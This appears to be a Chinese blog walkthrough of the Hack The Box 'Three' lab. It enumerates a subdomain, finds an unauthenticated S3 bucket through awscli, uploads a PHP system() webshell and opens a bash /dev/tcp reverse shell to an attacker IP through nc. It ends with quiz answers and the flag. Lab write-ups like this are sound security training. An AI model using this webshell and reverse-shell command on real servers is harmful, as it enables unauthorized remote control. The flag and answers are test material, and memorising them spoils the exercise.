当前位置: 首页 > news >正文

HTB-Three(云服务)

前言

  • 各位师傅大家好,我是qmx_07,今天给大家讲解Three靶机
    在这里插入图片描述

渗透过程

信息搜集

在这里插入图片描述
在这里插入图片描述

  • 服务器开启了22 SSH 和 80 HTTP服务端口

扫描目录

在这里插入图片描述

  • 服务器只有一个image图片文件,ssh 需要账号名密码

绑定域名 进行子域名扫描探测

在这里插入图片描述

  • 疑似域名,尝试绑定
echo "10.129.227.248 thetoppers.htb" | tee -a /etc/hosts

在这里插入图片描述

  • gobuster中 vhost 表示探测子域名
  • –append-domain 表示 返回正确的子域名
echo "10.129.227.248 s3.thetoppers.htb" | tee -a /etc/hosts
  • 绑定子域名
    在这里插入图片描述
  • s3子域名 s3是亚马逊云存储的简单存储服务,全程是Simple Storage Service

awscli连接云存储桶

  • 介绍:AWS Command Line Interface (AWS CLI)是一种命令行工具,用于与AWS服务进行交互和管理。它提供了一组命令,可以用于创建、配置和管理AWS资源,以及进行自动化和脚本化操作

在这里插入图片描述

  • 安装awscli

在这里插入图片描述

  • 配置awscli,由于这个服务器不对身份进行验证,所以随便写写就行
    在这里插入图片描述
  • 通过云服务访问目录
  • 这个云服务 没有进行身份认证,所以可以直接访问
    在这里插入图片描述
system()函数代表 执行系统命令,参数是cmd
--endpoint=http://s3.thetoppers.htb 代表连接到自定义S3服务节点
s3 代表要与S3服务进行交互
cp 上传文件
xx.php 上传源文件
s3://thetoppers.htb s3协议目标地址

在这里插入图片描述

  • 上传命令执行文件,并查看是否存在
    在这里插入图片描述

通过nc反弹会话

在这里插入图片描述

  • 写一份reverse.sh 反弹会话shell文件,通过bash命令反弹nc会话
bash -i >& /dev/tcp/10.10.16.3/9000 0>&1  ip和端口根据实际决定
  • 开启http服务器
python3 -m http.server

在这里插入图片描述

  • 访问reverse.sh文件 并以bash形式运行
    在这里插入图片描述
  • 监听端口上线服务器

nc全称是netcat,用于创建 TCP/IP 连接、传输数据,以及监听和接收网络连接

  • -l:表示监听模式,用于创建一个监听器以等待传入连接。
  • -v:表示详细模式,用于显示详细的调试信息。
  • -n:表示禁用 DNS 解析,用于显示 IP 地址而不是主机名。
  • -p:指定监听的端口号
    在这里插入图片描述
  • flag:a980d99281a28d638ac68b9bf9453c2b

知识点讲解

Amazon S3

  • 介绍:亚马逊网络服务(AWS)提供的一种对象存储服务,旨在存储和检索任意量的数据
  • 对象存储:S3 将数据存储为对象,而不是传统的文件系统结构。每个对象由数据、元数据和唯一标识符(键)组成。
  • 桶(Bucket):S3 中的数据存储在称为“桶”的容器中。每个桶都有一个唯一的名称,并且可以在全球范围内访问。

答案

  • 1.服务器上开放了多少个TCP端口?

2

  • 2.在网站上找到的域名是?

thetoppers.htb

  • 3.哪个linux文件可以指定DNS绑定ip?

/etc/hosts

  • 4.子域名是什么?

s3.thetoppers.htb

  • 5.子域名上运行了哪些服务?

Amazon S3

  • 6.哪个工具可以和aws进行交互?

awscli

  • 7.什么命令可以配置aws?

aws configure

  • 8.什么命令可以列出s3的所有存储桶?

aws s3 ls

  • 9.服务器使用什么后端语言文件?

php

  • 10.flag?

a980d99281a28d638ac68b9bf9453c2b

总结

  • 今天讲解了S3云服务,awscli连接工具,子域名探测,http开启文件服务器,php命令执行文件,nc反弹会话

http://www.mrgr.cn/news/17654.html

相关文章:

  • 气膜体育馆:学校体育设施的全新选择—轻空间
  • 时序数据库荣登巅峰,被央视报道了!
  • 用EM算法估计GMM参数的实现
  • 已上岸|这才是老板喜欢的财务会计简历
  • STM32 Debug卡死在BKPT 0xAB
  • Python OpenCV 入门指南
  • 结束Linux特定端口上的进程,超级实用!
  • IDEA提示:java: 常量字符串过长
  • 金九银十来了,你的简历写好了么
  • js基础速成-字符串方法
  • JVM 内存参数
  • 模型 RULER情绪管理
  • 小琳Python课堂:Python性能测试利器:`timeit`和`memory_profiler`模块的使用与实践
  • MySQL——事务与存储过程(三)存储过程的使用(1)调用存储过程
  • SDIO驱动开发
  • 动手学深度学习(pytorch)学习记录23-图像卷积[学习记录]
  • 《黑神话:悟空》是用什么编程语言开发的
  • WordShield 一款轻量级且灵活的敏感词过滤库
  • 百日草花语探秘:天长地久的情感寄托与丰富内涵解析
  • 注册中心技术选型